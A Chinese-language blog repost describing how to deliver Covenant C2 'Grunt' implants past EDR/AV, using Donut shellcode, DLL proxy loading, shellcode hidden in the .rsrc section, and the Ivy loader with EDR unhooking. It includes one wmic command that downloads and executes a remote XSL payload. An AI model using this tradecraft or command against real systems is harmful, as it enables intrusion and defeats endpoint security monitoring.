Covenant工具-过edr/检测

渗透技巧 2年前 (2022) admin
483 0 0

        s3cur3th1ssh1t 刚刚在 Covenant 中发表了“关于Covenant 中的无阶段 HTTP”

的帖子(https://s3cur3th1ssh1t.github.io/Covenant_Stageless_HTTP/)。了解文章之前的快速背景知识介绍。什么是Covenant Covenant 是最容易启动的后渗透利用框架之一。它使用 .NET(一种即时编译语言)来生成连接回 C2 以接收命令的“Grunts”。Covenant框架采用自定义的post-exploitation植入体(implant),即“Grunts”。Grunts提供了与C2服务器通信的基础框架,发送至受害者系统的任务采用经过混淆的C#程序集格式,由Grunts负责加载并执行。Covenant 可以通过 PUSH 或 PULL 方法接收命令,具体取决于您希望网络流量的外观,并且可以通过使用不同的配置文件等方法通过标头修改进一步混淆流量。Covenant 使更改命令获取方式的所有方面都变得简单易用。不过,在这篇文章中,我们将主要关注定制我们的 Grunt 交付。


Grunt 如何使用?

     Covenant 开箱即用,可以快速简单的生成 grunts ,并且修改其底层代码相当容易。有一些 Python 脚本可以混淆 grunt 代码中的常见字符串(例如删除术语“grunt”),非常方便。此外,一旦自定义了一个 grunt,可以将其保存为模板,这样您就不需要反复混淆字符串。该框架内置了用于生成多种形式的有效负载的工具,例如 XSL 样式表、base64编码的 Powershell 命令和 Donut 加密的 shellcode – 稍后会详细介绍最后一个。

    综上所述,为了成功完成执行流程,使用者需要进行部分操作。以前可以从仪表板生成有效负载并将其发送给用户,而现在这样会立即被抓住查杀。 

 这时,你的下一个问题可能是“Covenant 还值得使用吗?” 答案是肯定的!除了普通的旧可执行文件之外,我们还可以使用更多有趣的选项,我们将在下面探讨其中的一些选项。


内置免杀选项?

    Covenant 为规避Grunt 提供了许多选择,为攻击者提供了广泛的工具。如前所述,Donut 可以生成 shellcode 来运行我们的 Grunt ,操作员可以以 XSL 样式表的形式输出 Grunt 并使用wmic os get /FORMAT:”https://url”下载并执行它,或者您可以使用 DotNetToJScript 生成以多种方式使用的 Grunt ,例如 Microsoft HTML 应用程序 (MSHTA) 有效负载。

Covenant 显然内置了一些经过深思熟虑的免杀选项。值得专门回顾一下 Donut,因为我们将在下面使用它。一个关键特性是 Donut 允许在内存中执行 shellcode。具体来说,这个 shellcode 将与位置无关,因此它可以在任何地方执行。一旦 grunt 被执行,Donut 会设置一个新的应用程序域来运行 .NET 程序集,shellcode 被加载到那里,然后最终执行。


隐藏Grunt 

    Covenant 在这一点上已经存在了很长时间。多年来,有不少人制定了不同的策略来逃避杀毒软件。但在 2022 年,其中很多都无法维持。在 2021/2022 年,我们看到 EDR 检测文件和内存中恶意行为的能力取得了巨大进步。尽管在检测方面取得了这些进步,但运行 Donut shellcode 的三种技术仍然相对较好,下面我们将回顾它们的工作原理。


DLL 代理加载

    这种方法是三种方法中效果最差的,但效果最差的是它不会起作用,而且要面对一些激烈的竞争。该方法的作用是读取shellcode.bin文件,然后使用VirtualAlloc分配内存区域,然后使用memcpy将 shellcode 内容复制到其中一个简单但有效的解决方案。

许多 EDR/AV 无法识别和扫描通过 Donut 生成的 shellcode 文件。但是这种方法的缺点是需要单独删除 DLL 和 shellcode,而不是只删除一个应用程序或文件。Redteaming.co.uk 在这方面做得很好(https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/)。如果您想使用这种技术,建议您使用分阶段的 dropper 来帮助检索所需的 shellcode 和 DLL,以及在下载后执行 DLL。

在 .RSRC 部分中隐藏 Shellcode

    将上述 shellcode 获取到受害者系统的另一种方法是生成 shellcode bin,然后将其添加到应用程序资源部分。这是红队安全程序员用来隐藏其有效载荷的一种常用技术,它并不是 Covenant 独有的。一旦添加到这里,我们就可以从无效的 ico 文件中提取Grunt 并将其分配到内存并执行!


  这种技术非常适用于有效载荷,因为它包含在一个文件中。由于 Grunt 只是一个文件,而且它是一个用户可以启动的简单可执行文件,因此可以通过分阶段或无阶段 dropper 将其安装到系统上。 


Ivy免杀

  第三种免杀方法,也是我最喜欢的方法之一。Ivy 是 Optiv 开发的有效载荷生成工具。如果您以前没有听说过它,可以在此处阅读更多相关信息(https://github.com/optiv/Ivy)基本上,Ivy 获取 shellcode,对其进行加密,然后在内存中执行它。Ivy 通过生成一个隐藏的 Excel 进程并将加密的有效负载字符串加载到 VBA 函数中来实现这一点。它带有许多内置的规避选项,例如将行分成块(这样就不能确定任何一行都是随机字符)和一个 EDR 脱钩模式,用于构建它自己的WriteProcessMemory版本我们可以将 Ivy 与 Covenants 结合起来生成 Donut 有效载荷,并在规避现代 AV 方面取得很大成功。一个小缺点是我们确实需要受害者安装 Office。
    生成有效载荷非常简单。您可以选择分阶段或无阶段、远程进程注入或本地执行,以及许多不同的交付选项。下面是使用 Covenant 输出的 Donut bin 生成无阶段有效负载的简单示例。


 与我们嵌入其中的 bin 相比,生成的有效载荷的归因和检测率都大幅下降。


  执行 Ivy 负载同样简单,用户只需双击它。Windows 将使用脚本主机执行它,然后 grunt 将签入。


经验教训   

    现在应该很明显,Covenant 在 2022 年仍然可以非常有效地使用。Covenant 带有一个功能丰富的界面,在一个免费和开源的平台上非常好看,而且修改 Grunts 非常简单快捷。在这篇文章中,我们回顾了三种运行 Grunts 的技术,这些技术可以逃避现代 EDR/AV。我们开发的Grunts 只使用了内置的生成器,因此还有很多其他启动器选项可供探索。

    这篇文章会是一个多部分系列的一部分。接下来看大家阅读和反馈情况,之后我们更新将用户代理和消息转换规则与自定义协议结合起来,真正融入和隐藏网络上的正常流量。

原文始发于微信公众号(军机故阁):Covenant工具-过edr/检测

版权声明:admin 发表于 2022年7月18日 下午6:47。
转载请注明:Covenant工具-过edr/检测 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...